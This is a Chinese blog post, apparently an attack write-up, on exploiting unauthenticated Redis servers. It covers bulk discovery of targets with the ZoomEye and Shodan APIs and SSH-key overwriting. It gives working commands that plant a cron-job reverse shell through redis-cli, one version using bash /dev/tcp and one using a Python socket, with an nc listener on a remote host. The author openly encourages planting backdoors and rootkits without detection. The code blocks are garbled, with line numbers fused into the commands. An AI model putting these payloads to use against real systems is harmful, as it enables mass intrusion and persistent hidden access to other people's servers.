最近MongoDB的未授权访问不知道为啥,就是这样突然火了,其实你要是留意的话,其实在2014年的时候就已经有人在乌云刷过这个了,其实很简单,就是没密码,然后暴露到公网上喽。
本次主要做一些redis的一个测试,刚好最近再开发一个系统,刚好写几个脚本做插件,也提高下工作效率。
具体漏洞细节请参考:redis未授权访问
然后利用ZoomEye和Shodan API进行条件批量筛选
ZoomEye:https://api.zoomeye.org/host/search?query="关键词"&page=
Shodan:pip install shodan
Shodan python脚本如下:
ZoomEye python脚本如下:
把要搜索的关键词改一下即可批量获取符合条件的主机地址:
然后就是redis的批量验证脚本,GitHub上有一个hackredis脚本能够验证redis未授权访问,然后批量登陆到ssh,但是我搜的,可能人品太差,一个都没登陆上,可能不对公网开放SSH服务了或者做了IP限制。
然后就换个思路,我们写入的密钥,会覆盖这个文件authorized_keys,如果原来服务器上管理员是使用过公钥的方法登陆就会导致管理员的公钥失效,容易被管理员发现。直接在redis下写个shell,种个后门,再加个rootkit,岂不是神不知道鬼不觉[斜眼]
redis反弹shell:
CentOS
1234567891011echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/远程主机/2333 0>&1\n\n"|redis-cli -h 目标机 -x set 1config set dir /var/spool/cronokconfig set dbfilename rootoksaveok然后vps上nc监听nc -lvv 2333Ubuntu
如果是ubuntu的系统,是不能用bash弹shell的,可以使用python来反弹。1echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"
附加个建议: